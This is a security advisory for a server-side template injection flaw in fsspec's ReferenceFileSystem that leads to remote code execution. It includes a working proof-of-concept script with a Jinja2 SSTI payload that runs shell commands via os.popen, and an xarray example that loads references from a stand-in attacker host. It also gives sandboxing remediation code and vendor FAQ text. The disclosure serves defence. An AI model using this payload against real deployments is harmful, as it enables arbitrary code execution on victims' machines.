Summary
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxedjinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document, typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or viaxarray.open_dataset("reference://..."), achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
A, _process_references1._render_jinja |
lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
B, _process_templates (lambda) |
lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
C, _process_gen |
lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
import xarray as xr
ds = xr.open_dataset(
"reference://",
engine="zarr",
backend_kwargs={
"consolidated": False,
"storage_options": {
"fo": "http://attacker.example/refs.json",
"remote_protocol": "http",
},
},
)
# RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Credit
Reported by Dany.A
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk
format, widely used in the Pangeo / Earth-observation / climate
data-science ecosystem to provide cloud-optimised views of
HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask.
- A managed data-science platform (notebook server, batch job runner)
ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have
been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference
filesystem", there is no documented expectation that a data catalogue
can execute arbitrary Python code.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-104851 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2026.6.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Replace jinja2.Template(...) with a sharedjinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This
matches the post-incident hardening applied to llama-cpp-python after
CVE-2024-34359.
# At module top
def _sandboxed_env():
import jinja2.sandbox
env = getattr(_sandboxed_env, "_env", None)
if env is None:
env = jinja2.sandbox.ImmutableSandboxedEnvironment()
_sandboxed_env._env = env
return env
Then in each sink, replace jinja2.Template(s).render(...) with_sandboxed_env().from_string(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution
like {{ varname }}) continues to work under the sandbox; only the SSTI
gadgets (__class__, __init__.__globals__, __subclasses__, etc.)
are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Frequently Asked Questions
- What is CVE-2026-104851? CVE-2026-104851 is a high-severity code injection vulnerability in fsspec (pip), affecting versions >= 0.9.0, < 2026.6.0. It is fixed in 2026.6.0. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-104851? CVE-2026-104851 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of fsspec are affected by CVE-2026-104851? fsspec (pip) versions >= 0.9.0, < 2026.6.0 is affected.
- Is there a fix for CVE-2026-104851? Yes. CVE-2026-104851 is fixed in 2026.6.0. Upgrade to this version or later.
- Is CVE-2026-104851 exploitable, and should I be worried? Whether CVE-2026-104851 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-104851 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-104851? Upgrade
fsspecto 2026.6.0 or later.